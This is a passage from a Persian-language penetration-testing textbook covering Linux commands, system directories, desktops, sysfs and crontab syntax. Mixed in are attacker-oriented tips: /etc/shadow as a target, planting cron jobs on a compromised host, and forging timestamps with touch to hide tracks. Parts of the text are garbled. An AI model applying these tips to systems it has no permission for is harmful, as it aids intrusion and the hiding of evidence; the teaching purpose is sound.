 --Version شود می خارج و دهد می نمایش را نسخه اطلاعات. 

 .دهد می نشان را دستور این 9-16 شکل

 
 .9-16 شکل
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 who دستور

 مختلفی های گزینه .دهد می نمایش اند شده لاگین حاضر حال در که را کاربرانی دستور این
 :است زیر شرح به ها آن از استفاده بیشترین که دارد وجود دستور این برای

-a, --all ها گزینه این -b -d - login -p -r -t -T -u کند می ترکیب را. 
-b, --boot دهد می نمایش را سیستم بوت آخرین زمان همچنین گزینه این. 
-d, --dead کرد خواهید مشاهده را افتاده کار از و مرده فرایندهای همچنین گزینه این از استفاده با. 

-H, --heading دهد می نمایش را ستون عناوین. 
-l, --login شوند می داده نمایش نیز سیستم)لاگین( به ورود فرایندهای ،گزینه این با. 

 -p, --process توسط شده تولید فعال فرایندهای init دهد می نمایش را. 
q, --count- دهد می نمایش را شده وارد کاربران تعداد و سیستم لاگین نامهای تمام گزینه این. 

 -r, --runlevelدهد می نمایش را فعلی اجرای سطح گزینه این. 
  -s, --short فر ( پیش) دهد می نشان را زمان و خط ،نام فقط گزینه این . 
 t, --time - دهد می نمایش را سیستم ساعت تغییر آخرین گزینه این. 
-T, -w, --mesg - کند می اضافه یا؟ ،- +، صورت به را کاربر پیام وضعیت گزینه این. 
 -u, --usersکند می لیست را شده وارد کاربران گزینه این. 
 --messageهمان لمث -T باشد می. 
 -- writableهمان مثل -T باشد می. 
 -- help دهد می نمایش را راهنما. 

Version--: شود می خارج و داده نمایش را نسخه اطلاعات. 
 .دهد می نشان را دستور این 9-17 شکل

 
 .who با سیستم به ورود کاربران نمایش .9-17 شکل
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  (Directories) ها دایرکتوری

 به نگاهی اینجا در ،کردیم بحث (file systems) فایل های سیستم مورد در هک اکنون
 ،عامل سیستم هر در .هستند مهم ها ادمین برای که اندازیم می خاصی های دایرکتوری
 لینوکس .باشند می مهم عامل سیستم آن عملکرد برای که دارد وجود کلیدی های دایرکتوری

 در شده ذکر های دایرکتوری دارای لینوکس نصب ره .نیست مستثنی قاعده این از نیز
 .کند می خلاصه را ها آن کاربرد و عملکرد که باشد می بعدی های قسمت

 

/root. 

 دایرکتوری یک این ،ادمین عنوان به .است ریشه کاربر اصلی دایرکتوری root/ دایرکتوری
 کاربران سایر برای معمولاً .شوند می ذخیره شما های فایل اینجا در .باشد می شما برای مهم نسبتاً

 کاربر استاندارد اصلی دایرکتوری یک فقط اساساً .باشد نمی دسترسی قابل سیستم در موجود
 .باشد می (root) ریشه کاربر مخصوص که تفاوت این با ،است

 

/bin. 

 ،دلیل همین به .دارد می نگه خود در را شده کامپایل یا باینری های فایل bin/ دایرکتوری
 پوسته دستورات از بسیاری حتی .کرد خواهید پیدا دایرکتوری این در را زیادی های برنامه
 ،پوسته دستورات که باشید داشته خاطر به .است شده ذخیره دایرکتوری این در cat و ls مانند
 دستورات دنبال به کتاب این سراسر در .شود می فراخوانی پوسته از که هستند هایی برنامه
 در باینری های فایل از برخی که باشید داشته خاطر به باید .بود خواهیم پوسته مختلف

 .دارند قرار دیگر های دایرکتوری
 

/ sbin. 

 سطح کاربر برای که است باینری های فایل شامل اما ،باشد می bin/ مانند دایرکتوری این
 برنامه دایرکتوری در mke2fs دستور ،مثال عنوان به .است نشده گرفته نظر در کامپیوتر متوسط

mke2fs یا ریشه کاربر برای تخصصی های باینری این که آنجا از .است سیستم فایل ابزار یک 
 پیش مسیر در معمولاً دایرکتوری این ،است شده گرفته نظر در (super user) العاده فوق کاربر
 و ،بود خواهد یاصل کاربر فر  پیش مسیر در دایرکتوری این .نیست عادی کاربران فر 
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 که دستوراتی یا sbin/ به توانند نمی شوند می سیستم وارد که کاربرانی اکثر که معناست بدان
 .باشند داشته دسترسی شده ذخیره آن در
 

/etc. 

 از برخی به اندازی راه هنگام ها اپلیکیشن بیشتر .باشد می پیکربندی های فایل شامل etc/ فولدر
 پیکربندی های فایل دارای Grub و LILO مانند بوت های کننده لود حتی .دارند نیاز تنظیمات
 دایرکتوری زیر چندین دایرکتوری این .شود می یافت etc/ در پیکربندی های فایل این .هستند

(subdirectories) چند .هستند پیکربندی فایل از متفاوتی نوع شامل کدام هر که داشته 
 .است شده رذک بخش این در مهمتر زیردایرکتوری

 

/etc/passwd. 

 به و باشد می ها آن مجوزهای درباره اطلاعاتی و کاربران از متن بر مبتنی داده پایگاه یک اساساً
 :است فیلد چندین دارای کاربر هر ورودی .دارد نفوذ تست یک به علاقه وضوح
 .است (کاربری حساب یا) کاربر نام دهنده نشان فیلد این :Username field کاربری نام فیلد
 واقعی عبور رمز شامل هرچند ،است عبور رمز فیلد دوم فیلد :Password field عبور رمز فیلد 

 و ذخیره etc / shadow / فایل در که است عبور رمز دهنده نشان فیلد این در 'x' یک .نیست
 است. شده هش
 UID یا کاربر هشناس یک ،شود می ایجاد جدید کاربری حساب یک که زمان هر :UID فیلد 
 .شود می داده اختصاص آن به
 جزئیات ،دارد تعلق گروه کدام به کاربر که کند می مشخص ،UID فیلد مشابهGID : فیلد 

 .دارد وجود etc / group / فایل در گروه
 :(Comment/Description/User Info field) کاربر اطلاعات / توضیحات / نظر فیلد 

 .باشد می کاربر این متن شرح ،استپید نامش از که طور همان
 Home Directory عنوان به کاربر این که باشد می دایرکتوری :User Home Directory فیلد 
 .دارد اختیار در
 .باشد می bash پوسته حقیقت در یا bin/bash/ معمولاً ،کاربر پوسته :Shell field پوسته فیلد 
 

/etc/shadow 

 در که زمانی .است نفوذ تست یک جستجوی برای مکان ترین اسبمن احتمالاً دایرکتوری این
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 سایر .است شده هش زیاد احتمال به ،شود می ذکر شده رمزگذاری عبور رمز منابع از بسیاری
 آخرین (،رمزعبور استفاده برای) کاربری های نام شامل دایرکتوری این در موجود اطلاعات
 .باشد می آن به مربوط اطلاعات و عبور رمز تغییر از قبل روز تعداد ،ورود رمز تغییر

 
/etc/group 

 گروه اطلاعات نیز etc / group / ،دارد می نگه را کاربر اطلاعات etc / passwd که طور همان
 .شود می نگهداری اینجا در ها گروه همه به مربوط های داده تمام بنابراین .کند می حف  را

 .باشد می فایل یک واقع در ،نیست دایرکتوری شاخه زیر یک این همچنین
 

/etc/inittab 

 تغییر )اولیه( init برای را پیکربندی فایل مهم، بسیار پیکربندی اپلیکیشن یک که باشد می جایی
 کار هنگام در و اندازی راه هنگام در فرایندهایی چه که کند می توصیف inittab فایل .دهد می

 هسته اولیه دهی مقدار از مرحله آخرین در etc / init / برنامه .کنند می کار به آغاز عادی
 .کند می شروع را دیگر فرایندهای تمام init فرایند .باشد می PID 1 دارای و شود می شروع
 قابل استاندارد ویرایشگرمتن هر با فایل این .باشد می init برنامه پیکربندی فایل inittab فایل

 .باشد می ویرایش
 دو توسط که شود می تعریف فیلد چهار توسط ورودی هر .دارد ورودی یتعداد inittab فایل
 :است زیر موارد شامل فیلدها این اند. شده جدا هم از ):( کالن یا نقطه

Label: حرف چهار تا فرد)یکتا( به منحصر شناسایی برچسب یک 
 run_level: شود می اجرا آن در ورودی که ای اولیه سطح. 
 action: a: شود می آغاز فرایند انجام برای که باشد می عملیاتی دهنده نشان کلیدی کلمه یک. 
 Process: کنند می اجرا به شروع مشخص اجرای سطح به ورود با فرایند. 

 .شود می اسکن کلیدی کلمات برای inittab فایل ،شود می بوت بار اولین برای سیستم که هنگامی
 :باشند می inittab در شده داده پیکربندی ستورد با کار شروع نحوه به کلیدی کلمات این
 Boot: ادامه را فرایند تکمیل برای انتظار بدون بعدی ورودی و کند می شروع را فرایند 

 .شود نمی اندازی راه دوباره را فرایند ،رود می بین از فرایند وقتی .دهد می
 Bootwait: به ورود از قبل تا ماند می منتظر و کند می شروع بار یک را فرایند inittab بعدی، 

 .یابد خاتمه
 Initdefault: قسمت در تعداد بالاترین از استفاده با run_level، سطح کدام که کند می تعیین 



 273 : معرفی لینوکس9فصل 

 

 هنگام در ،باشد نداشته وجود inittab در initdefault ورودی اگر .شود وارد inittab در اجرا
 .کند می درخواست را اولیه اجرای سطح کاربر از init ،اندازی راه
 sysinit: از قبل تا ماند می منتظر و کند می شروع را فرایند ،خواند می را جدول که باری اولین 

 .یابد خاتمه ،بعدی inittab به ورود
 :است شده آورده ساده بسیار inittab فایل یک از مثالی اینجا در

# inittab for linux 
id:1:initdefault: 
rc::bootwait:/etc/rc 
1:1:respawn:/etc/getty 9600 tty1 
2:1:respawn:/etc/getty 9600 tty2 

3:1:respawn:/etc/getty 9600 tty3 
 

 /etc/motd 
motd روز) پیام مخفف (message of the day این که باشد می موردی همان دقیقاً که است 

 پیام سیستم به ورود از پس که باشید شده متوجه دارد احتمال .شود می شامل را دایرکتوری
 این .شود می یافت دایرکتوری این در که شود می نامیده روز پیام که کنید می دریافت کوتاه
 .شود می استفاده نهایی کاربران به اطلاعات ارسال برای سیستم های ادمین توسط اغلب پیام

 برای عالی مکانی که ،باشد می امنیتی های یادآوری یا ها اطلاعیه دادن قرار برای عالی مکانی
 :مانند چیزی .باشد می تان نفوذ تست از بخشی عنوان به پیام ارسال

. “Well I see your security needs help, since I am in your server.” 
 "هستم. شما سرور در من رایز دارد، کمک به ازین شما تیامن که کنم می مشاهده من خوب،"

 

/dev. 

 کاربری واسط واقع در دستگاه های فایل .باشد می دستگاه های فایل لشام دایرکتوری این
 باید - ها دستگاه همه واقع در - صوتی های دستگاه ،سازی ذخیره های دستگاه .هستند ها دستگاه
 قراردادهای از برخی .دارند قرار دایرکتوری این در که باشند دستگاه فایل یک دارای

 عنوان به .کند کمک دایرکتوری این پیمایش در شما به ندتوا می که دارد وجود نامگذاری
 cd با CD درایوهای و fd با فلاپی درایوهای ،شوند می شروع hd با سخت درایوهای همه مثال
 / فلاپی ودرایو باشد dev / hd0 / اصلی سخت دیسک است ممکن بنابراین .شوند می شروع

dev / fd0 .باشد 
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 یهیبد هستند. دستگاه کی انگرینما هرکدام که باشد می فایل یتعداد یدارا یرکتوریدا نیا
 موارد از یستیل نجایا در اما باشد، نداشته را موارد نیا همه است ممکن شما ستمیس که است
 است: شده ذکر نجایا در موارد نیمهمتر است. شده آورده نوکسیل ستمیس در موجود

dev / dsp صدا کارت و صدا افزار نرم بین واسط دیجیتال: سیگنال پردازنده. 
/dev/fd0 فلاپی. درایو اولین 
/dev/fb0 افزار سخت و افزار نرم بین انتزاعی لایه یک بافر فریم .بافر فریم دستگاه اولین 
 .است گرافیک

/dev/hda مستر درایو IDE اصلی کننده کنترل در IDE. 
/dev/hdb درایو Slave اصلی کننده کنترل در. 

/dev/hdc  مستر ودرای IDE کننده کنترل در IDE ثانویه 
/dev/hdd درایو slave کننده کنترل در IDE ثانویه 
/dev/pda موازی پورت (parallel) های دیسک IDE 

 

/boot. 

 مهدم  اریبسد  یاندداز  راه یبدرا  کده  باشدد  مدی  ییلهدا یفا شدامل  (bootی)انداز راه یرکتوریدا نیا
 .شدود  مدی  جسدتجو  دایرکتوری این در (GRUB یا باشد LILO خواه) شما boot loader.هستند
 .باشد می رایج روش یک دایرکتوری این در (kernelهسته) تصاویر داشتن نگه

 

/usr. 
 در و دایرکتوری های زیرشاخه تمام شامل دایرکتوری این ،پیداست نامش از که طور همان
 ،کاربر زیادی تعداد با نوکسلی دستگاه در .باشد می سیستم کاربران همه برای ها فایل همه نتیجه
 شامل همچنین دایرکتوری این .شود تبدیل کامپیوتر دایرکتوری بزرگترین به تواند می سریعاً
 دستورات از مختلف راهنمای کتابچه یک لینوکس در .باشد می man صفحات مانند اسنادی
 مثال عنوان به) man صفحات عنوان به ها آن از که دارد وجود غیره و ها دایرکتوری ،پوسته

 شد. خواهد اشاره ها آن به کتاب این در بارها که ،شود می یاد (manual دستی صفحات
 :اند شده لیست اینجا در که دارد مهم زیرشاخه تعدادی دایرکتور این

/ usr / X11R6 ویندوز سیستم شامل دایرکتوری این X است. 
 / usr / bin حال این با .است داده جای خود در ار کاربر دستورات بیشتر دایرکتوری این، 

 .باشند می usr / local / bin / در یا bin / در دستورات از برخی
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 / usr / sbinنیاز مورد ریشه فایل سیستم در که را سیستم ادمین دستورات دایرکتوری این 
 جستجوی برای اغلب که man صفحات ،usr / share / man / ،کند می ذخیره نیست

 .شود می مراجعه ها آن به Linux دستورات
 / usr / share / infoاطلاعاتی اسناد دایرکتوری این GNU است داده جای خود در را. 
 / usr / share / docباشد می زیادی کلی مستندات شامل دایرکتوری این. 
 / usr / include سرآیند دارای دایرکتوری این (header) زبان در استفاده مورد های فایل 

 نیز را C نویسی برنامه زبان ،کردند ایجاد را یونیکس که افرادی همان .است C نویسی برنامه
 کاملاً ،لینوکس جمله از ،یونیکس مشابه های سیستم اکثر و یونیکس با C زبان .کردند ایجاد
 .است شده آمیخته

 / usr / lib: lib کتابخانه مخفف (library) برای داده های فایل شامل دایرکتوری این .است 
 .باشد می پیکربندی های فایل از برخی جمله از ،ها سیستم زیر و ها برنامه

usr / local / نگه خود در را ها فایل سایر و محلی شده نصب افزارهای نرم دایرکتوری این 
 .نکنند نصب اینجا در را چیزی است ممکن ها توزیع .دارد می
 

/var. 
 از var نام .کند می تغییر کند می فعالیت عادی طور به سیستم وقتی که است هایی داده حاوی
 .باشد می متفاوت مطالب در که طور همان ،گیرد می سرچشمه (variable) متغیر

/ var / cache / man صفحات برای پنهان حافظه یک man تقاضا صورت در که باشد می 
 .شوند می بندی فرمت

 /var / gamesدر ها بازی به قمتعل متغیر داده هرگونه / usr شود داده قرار اینجا در باید. 
 / var / lib کار عادی طور به سیستم که زمانی در است متفرقه فایلهای ذخیره برای مکان این 

 .کند می تغییر کند می
 / var / localدر که هایی برنامه برای را متغیری های داده دایرکتوری این / usr / local نصب 

 .دارد می نگه خود در اند شده
 / var / lockروی که است هایی برنامه داخلی عملکرد برای ویژه به مهم دایرکتوری یک این 

Linux ها برنامه از بسیاری .کند می ذخیره را شده قفل های فایل دایرکتوری این .شوند می اجرا 
 / var / در قفل لفای یک ،کنند می استفاده خاصی فایل یا دستگاه از اینکه دادن نشان برای

lock/ حال در دستگاه که کنند مشاهده توانند می ها برنامه سایر کار این با .کنند می یجاد ا 
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 .ندارند آن از استفاده در سعی و است استفاده
 / var / log های برنامه از لاگ های فایل شامل که باشد می مهم بسیار دایرکتوری یک این 

 .گشت بازخواهیم دایرکتوری این به بار چندین کتاب این طول در .است مختلف
 / var / mail باشد می ایمیل های فایل شامل دایرکتوری این باشد، ایمیل سرور شما سرور اگر. 
 / var / run سیستم مورد در فعلی اطلاعات شامل که باشد، می متفاوت کمی دایرکتوری این 

 این ،مثال عنوان به .باشد می معتبر سیستم مجدد اندازی راه زمان تا فقط اطلاعات این اما ،است
 .است شده وارد فعلی کاربران درباره اطلاعاتی شامل دایرکتوری

 /var / spool چاپ صف شامل دایرکتوری این (print queue) هنگام تواند می که ،است 
 .باشد مهم بسیار چاپگر مشکلات یابی عیب

 

/proc. 

 سایر با شود، نمی ذخیره شما سخت دیسک روی واقعاً که جهت این از proc / دایرکتوری
 حال در فرایندهای به مربوط اطلاعات و شود می ایجاد حافظه در .است متفاوت ها دایرکتوری

 .دارد می نگه را اجرا

 :است شده ذکر اینجا در مثال چند
 / proc / 1است اجرا حال در 1 فرایند به مربوط اطلاعات این. / proc / 2، proc / 3 نیز غیره و 

 .دارد وجود
 / proc / cpuinfoبه راجع اطلاعاتی اینجا در CPU و عملکرد و مدل ،ساخت ،نوع مانند خود 

 .کنید می پیدا آن کارایی
 / proc / dma کانالهای درباره اطلاعاتی شامل DMA حافظه به مستقیم )دسترسی Direct 

Memory Access) شود می استفاده حاضر حال در که است. 
 / proc / interruptsشود می برده بکار ها وقفه مورد در که است هایی داده شامل. 
 / proc / ioportsحاضر حال در که است خروجی / ورودی پورتهای مورد در اطلاعاتی شامل 

 .شود می استفاده
 / proc / kcore به که د،کر خواهید پیدا سیستم فیزیکی حافظه از تصویری دایرکتوری این در 

 .افتد می اتفاقی چه فیزیکی حافظه در زمان از لحظه هر در دقیقاً که دهد می را امکان این شما
 / proc / meminfoهم ،است فعلی حافظه از استفاده مورد در اطلاعاتی دارای دایرکتوری این 

 .SWAP فایل هم و فیزیکی فایل
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 / proc / kmsg کرد خواهید پیدا ار هسته از خروجی پیامهای اینجا در. 
/proc/modules شود می لود حاضر حال در که هسته ماژولهای از لیستی شامل. 

 / proc / statاینکه جمله از ،است سیستم مورد در العاده فوق آمارهای از تعدادی شامل ا 
 .است بوده بار چند شدن بوت آخرین زمان از صفحه خطاهای تعداد
 / proc / uptimeسیستم مدنآ بالا زمان. 
 /proc / version هسته نسخه. 
 

 (Graphical User Interface) گرافیکی کاربر واسط

 عامل سیستم از جدا GUI گرافیکی کاربری واسط ،شد ذکر فصل این در قبلاً که طور همان
 گرافیکی کاربری واسط شما که باشد می معنی این به لینوکس در واقع در .باشد می واقعی
 عنوان به که خاصی گرافیکی کاربری واسط به افراد از بسیاری .دارید استفاده یبرا انتخابی

desktop لینوکس توزیع های نصب از برخی ،واقع در .کنند می مراجعه ،کنند می استفاده خود 
 ،لینوکس دنیای در .GUI کدام یعنی ،کنید انتخاب را desktop کدام که خواهند می شما از

 The shell is) شود می گفته اصطلاح به که طوری به کند می بازی را اساسی نقش پوسته

king،) باشید داشته دانش پرکاربرد گرافیکی واسط دو مورد در حداقل باید ولی. 
 

GNOME. 

 کاربری واسط ترین محبوب از یکی Gnome (https://www.gnome.org) که نیست شکی
 بین انتخاب یا GNOME مثل لینوکس های توزیع بیشتر .باشد می لینوکس برای گرافیکی

GNOME محبوب توزیع ،حقیقت در .است دسکتاپ های محیط از دیگر برخی و Ubuntu 
 ابزار جعبه یک که شده ساخته + GTK روی بر GNOME .شود می ارسال GNOME با فقط
 GNU Network Object Model مخفف "GNOME" نام .باشد می GUI ایجاد برای

Environment تاس. 
 

KDE. 

 گرافیکی های واسط ترین محبوب از یکی )/GNOME، )https://www.kde.org با همراه
 به .شوند می ارسال دو هر یا GNOME یا KDE با لینوکس های توزیع بیشتر .است لینوکس
 توسط 1996 سال در KDE .است KDE با Ubuntu اساساً Kubuntu توزیع ،مثال عنوان

https://www.kde.org/
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 علوم دانشجوی ،توروالدز لینوس مانند اتریچ ،KDE ایجاد زمان در .شد ایجاد اتریچ ماتیاس
 Common (CDE) دسکتاپ رایج)مشترک( محیط مخفف عنوان به KDE نام .بود کامپیوتر

Desktop Environment اکنون .است شده گرفته نظر در یونیکس های سیستم برای موجود K 
 اساس بر KDE .است K Desktop Environment آن مخفف و نیست چیزی یمعنا به

 شده نوشته ++ C زبان با که پلتفرمی چند GUI چارچوب یک ،است شده ساخته Qt چارچوب
 .است

KDE است شده ذکر اینجا در مورد چند .است مفید های اپلیکیشن از تعدادی شامل: 
KBookOCR : ویرایش قابل شکل به اسناد در اسکن یبرا شی شخصیت شناسایی اپلیکیشن 

 KWord: کامل امکانات با متن پردازشگر یک 
 KSpread: گسترده صفحه اپلیکیشن یک (spreadsheet)  
 Kexid: داده پایگاه سازنده 
 Dolphin: فایل مدیر یک 
 Kfrb: دسکتاپ اشتراک برنامه یک 

Konqueror : وب مرورگر یک 
 .هستند KDE محیط از بخشی در ها شناپلیکی از تعدادی فقط اینها
 "Desktop Plasma" دسکتاپ محیط با ارتباط به شروع KDE که باشید داشته توجه باید
-https://www.kde.org/plasma بخش این دارای ها آن سایت وب ،واقع در .است کرده

desktop به که کرد هیدخوا پیدا را لینوکس کاربران از بسیاری هم هنوز ،حال این با .باشد می 
 .کنند می یاد KDE عنوان به آن از سادگی

 

 خلاصه

 پوسته دستورات از استفاده ایده و لینوکس تاریخچه ،لینوکس از خوبی درک باید اکنون
(Shell) از قبل .دارد را لینوکس نفوذ تست برای لازم دانش حداقل فصل این .باشید داشته 

 توجه .دارید تسلط فصل این موارد بر کاملاً که کنید حاصل اطمینان ،کتاب این ادامه به اقدام
 .باشید داشته تسلط شد بحث اینجا در که لینوکس پوسته اساسی دستورات به باید باشید داشته
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 فصل اهداف

 :بود دیخواه قادر فصل، نیا خواندن از پس

 کنید. درک را لینوکس امنیتی های ویژگی 
 عبور رمزهای Linux کنید. استخراج را 
 کنید. می درک را لینوکس هک اساسی های تکنیک 

 که ندارد وجود سیستمی هیچ ،حال این با .است منصفانه امن سیستم یک لینوکس عامل سیستم
 را ها آن باید ،است لینوکس عامل سیستم دارای های کامپیوتر شما شبکه اگر .باشد امن کاملاً
 ،فصل این در .نیزباشد لینوکس تست شامل باید مناسب نفوذ تست هر ،راینبناب .کنید تست نیز
 های تکنیک سپس .پرداخت خواهیم لینوکس امنیت و لینوکس بررسی به بیشتری جزئیات با

 .کرد خواهیم بررسی لینوکس برای را هک خاص
 لینوکس عامل سیستم مورد در بیشتر اطلاعات
 با .داد ارائه شما به را لینوکس عامل سیستم از کلی رورم یک ،"لینوکس بر ای مقدمه" ،9 فصل

 برای مکانهایی جمله از ،کرد خواهیم شروع لینوکس عامل سیستم مورد در بیشتری جزئیات
 .اطلاعات کسب

 

sysfs. 

sysfs توسط که است مجازی سیستم فایل یک Linux 2.6 آوری جمع برای و است شده ارائه 
 از را درایورها و ها دستگاه به مربوط اطلاعات sysfs .شود می فادهاست سیستم مورد در اطلاعات
 بر سیستم دایرکتوری مراتب سلسله تشکیلات .کند می صادر کاربر فضای به هسته دستگاه مدل
 ایجاد فایل سیستم در که هایی فایل .است هسته داده ساختارهای داخلی سازماندهی اساس
 .دارند مقدار یک فایل هر برای که ستنده ASCII های فایل معمولاً شوند می
 .شود می ایجاد sysfs در دایرکتوری ،درایور مدل درخت در شده اضافه (object) شی هر برای
 زیرشاخه .شود می منعکس / sys / devices / زیر های زیرشاخه با فرزند / والدین رابطه

 به ها دستگاه تعلق نحوه نشانگر و ،است شده پر نمادین پیوندهای با / sys / bus / دایرکتوری
 بندی گروه کلاسها طبق که را دستگاههایی / sys / class / زیرشاخه .است مختلف های باس
 .است شده بلاک)مسدود( های دستگاه شامل / sys / block / و دهد می نشان اند شده
 دیگری فایل گرنشان واقع در که باشد می فایل از خاصی نوع (symbolic link) نمادین پیوند
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 پیوندهای ها آن به بعضاً .دانست Microsoft Windows در میانبر معادل را آن توانید می .است
 .شود می گفته نیز soft links نرم
 های فایل که شود ایجاد هایی ویژگی است ممکن ،دستگاه درایورهای و ها دستگاه برای
 و بوده واحد مقدار یک حاوی باید فقط ها آن باشدکه می صورت بدین قاعده .هستند ای ساده
 مربوط درایور دایرکتوری شاخه زیر در ها فایل این .شود تنظیم واحد مقدار یک دهند اجازه یا
 دایرکتوری رشاخهیز است ممکن ها، گروه ویژگی از استفاده با .شوند می داده نشان دستگاه به

 .باشد شده جادیا های یژگیو از مملو
 اصل در sysfs .است کرده تجربه را زیادی نامگذاری تغییرات خود عمر طول در سرویس این

ddfs (Device Driver Filesystem) درایور مدل زدایی اشکال برای ابتدا در و شد می نامیده 
 از استفاده با (debugging) ییزدا اشکال ،این از پیش .شد ایجاد بود نوشتن حال در زمانیکه
procfs صدور یبرا (Export) از استفاده برای سیستم این ،اگرچه ،شد می انجام دستگاه درخت 
 در 2.5.1 جدید درایور مدل که زمانی .بود شده تبدیل ramfs بر مبتنی جدید سیستم فایل یک
 باز را file managerهر اگر .باشد توصیفی کمی تا یافت تغییر درایور به آن نام ،شد ادغام هسته
 (،firmware) افزار میان دایرکتوری های شاخه زیر ،کنید نگاه / sys دایرکتوری به و کرده
 .است شده داده نشان 10-1 شکل در این .کرد خواهید مشاهده را دیگر موارد و ها دستگاه

 
  sys Directory/ .10-1 شکل



 آموزش اصول و مفاهیم تست نفوذ 282 

 

 دایرکتوری شاخه زیر کردن باز با توانید می ،است شده داده نشان 10-2 شکل در که طور همان
 .کنید بررسی را آن مشخصات ،ها

 
 .sys دایرکتوری در حفاری .10-2 شکل

 
Crond. 

Crond باشد می دایمون یک (d نام انتهای در) طبق که دارد را کارهایی مشاهده وظیفه که 
 برای .است شبکه ادمین یک برای سیستم مهم سرویس یک این .است شده انجام زمانبندی

 ترین کوچک در حتی دهید، انجام دستی را کاری هر باشد لازم که بار هر نیست کارآمد شما
 ها زمانبندی بتوانید که باشید داشته سازوکاری باید ،بنابراین .نیست پذیر امکان راحتی به شبکه
 .باشد می مکانیزم آنCrond .کنید ریزی برنامه اجرا برای را

Crond daemon های فایل از crontab کند می هاستفاد کارها زمانبندی برای. Crond طور به 
 طور به crond اساساً .کند می جستجو crontab های فایل برای را var / spool / cron/ / کلی
 دارد وجود اجرا برای دستوراتی آیا ببیند تا کند می بررسی را crontab های فایل تمام ای دوره
 داده دستورات و دارد را خود به مخصوص crontab کاربر هر .کند می اجرا را ها آن ،خیر یا

 این که است مهم .شوند می اجرا crontab صاحب کاربر عنوان به crontab هر در موجود شده
 اجرا ریشه عنوان به را وظایف نباید ،نیست ضروری کاملاً اگر .باشید داشته ذهن در را مورد
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 باشد می اجرا الح در cron jobs کنید مشاهده دیبخواه دارد احتمال ،نفوذ تست برای .کنید
 تواندن متجاوز کی ،تادیکن دییتأ حداقل ای کرده خاموش را یبرخ باشد لازم دارد احتمالو
 .کند خاموش را ها آن
 این" :است عمومی شکل crond daemon برای هایی دستورالعمل شامل crontab فایل یک
 و خالی خطوط ،crontabs داخل در ".کنید اجرا تاریخ این در و زمان این در را دستور
 ،شوند می شروع (#) پوند علامت با که خطوطی .شوند می گرفته نادیده ها تب و پیشرو فضاهای
 همان در نظرات که باشید داشته توجه .شوند می گرفته نادیده و هستند (comments) نظرات
 همین به .باشد می رایج دستور از قبل درست نظر دادن قرار .نیستند مجاز cron فرمانهای خط
 .نیستند مجاز محیطی متغیر تنظیمات خط همان در نظرات ،ترتیب
 .بود خواهد cron دستور یک یا محیطی تنظیمات یک یا crontab یک در فعال خط یک
 :باشد می زیر شکل به محیط تنظیم

name = value 

 ،مثال عنوان به .شوند می تنظیم crond daemon توسط خودکار طور به محیطی متغیر چندین
SHELL روی /bin / sh و شده تنظیم LOGNAME و HOME خط از /etc / passwd 
 تنظیمات توسط دارد احتمال SHELL و HOME اند. شده تنظیم crontab )مالک( صاحب
 یک 10-3 شکل .نباشد است ممکن LOGNAME .شوند گرفته نادیده crontab در موجود

crontab دهد می نشان را ای پایه فر  پیش. 

 
 .اساسی crontab .10-3 شکل

 

 :کنید می مشاهده اینجا در که است چیزی همان اساساً cron دستور فرمت
* * * * * /bin/execute/this/script.sh 

 به باید موارد این ،باشید داشته توجه .هستند دستور زمان / تاریخ بخش دهنده نشان ستاره پنج
 :باشد ترتیب
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 (59 تا 0 از) دقیقه  
 (23 تا 0 از) ساعت  
 (31 تا 1 از) ماه روز  
 (12 تا 1 از) ماه  
 (یکشنبه = 0 که جایی ،6 تا 0 از) هفته روز  

 به ،شود اجرا بامداد 3 ساعت پنجشنبه هر تا کنید زمانبندی را اسکریپت خواهید می اگر بنابراین
cronjob دارید نیاز زیر: 

0 3 * * 4 /bin/execute/this/script.sh 
 .است شده آورده crontab های ورودی از دیگر مثال چند ااینج در 
 :کند پاک temp دایرکتوری از را ها فایل همه بامداد 2:30 ساعت شب هر

30 2 * * * rm /home/{username}/temp/* 

 ارسدال  کداربر  (screen) صدفحه  بده  را " popup " پیدام  ظهدر  از بعدد  3:00 سداعت  ،دسدتور  این
 :شوند سیستم اردو اگر ،ها جمعه .کند می

0 15 * * 5 echo "Time for staff meeting" | write 

$LOGNAME >/dev/null 2>&1 

 .هستند ساده نسبتاً .کنید مشاهده را crontab های ورودی کارکرد نحوه توانید می کنم می فکر
 زمانبندی crontab طریق از ،گیری پشتیبان مانند ،اداری مختلف کارکرد معمول طور به
 است ممکن .باشد توجه مورد بسیار تواند می موارد این ،نفوذ کننده تست یک برای .شود می

cronjob توانید می یا و کنید، اجرا را ها آن که نداشته تمایلی که باشد داشته وجود هایی 
 . (اید شده لینوکس سیستم وارد اینجا تا اینکه فر  با) کنید تنظیم را خود شخصی کارهای
 دهد اطلاع مشتری)کلاینت( به که باشید داشته موقع به pop-up پیام یک بخواهید ددار احتمال
 .اید شده آنان Linux دستگاه وارد که
 

  (Shell Commands) پوسته دستورات

 دستورات ،فصل این در .است شده معرفی لینوکس پوسته دستورات از تعدادی 9 فصل در
 penetration) نفوذ های کننده تست و (attackers)ها کننده حمله توجه مورد که را ای پوسته

testers) امتیازات به دستورات این از برخی ،یقینا .کرد خواهیم بررسی ،گیرد می قرار root 
 کارهای ،آورد دست به را root امتیازات بتواند کننده تست یا مهاجم اگر ولی ،دارند احتیاج
 .دهد انجام تواند می که هست فراوانی
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Touch. 

 فایلی چنین و کنید تایپ را touch filename اگر .شود می استفاده ها فایل در touch دستور
 هایی فایل با همراه touch توجه جالب بخش اما .شود می ایجاد نام این با فایلی ،شود نمی خارج
 اند. داشته وجود قبل از که باشد می

touch -a یدده تغییر را فایل یک دسترسی زمان گوید می. touch -m تغییر را اصلاح زمان 
 touch -r بنابراین .باشد برابر دیگر فایل با تا کرده تنظیم را فایل یک توانید می حتی یا .دهد می

fileA fileB به fileB از زمانی برچسب تمام از که گوید می fileA کند استفاده. 
 یا .کند می تغییر جاری زمان به نزما آن ،ندهید ارائه (m- وa- به مثلاً) مشخصی های زمان اگر
 :دهید تغییر را ها آن دارید تمایل که زمان هر توانید می

touch -d '1 May 2018 10:00' fileA 

 .کنید مشاهده test.txt برای را فایل (properties) مشخصات توانید می 10-4 شکل در

 
 

 test.txt برای فایل های ویژگی 10-4 شکل
 

 .کنیم استفاده touch دستور از دهید اجازه ،است شده داده نشان 10-5 لشک در که طور همان
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 .touch دستور 10-5 شکل

 

 10-6 شددکل در و کنددیم بررسددی دوبدداره را (properties) مشخصددات آن دهیددد اجددازه حددالا
 .کنید مشاهده را ها آن توانید می

 
 .touch دستور از پس فایل مشخصات 10-6 شکل

 

 طدور  بده  خدود  هدای  ردیدابی  پوشداندن  برای touch از تواند می مهاجم یک که باشد بدیهی باید
 .کند می استفاده مؤثر

 

Nice. 

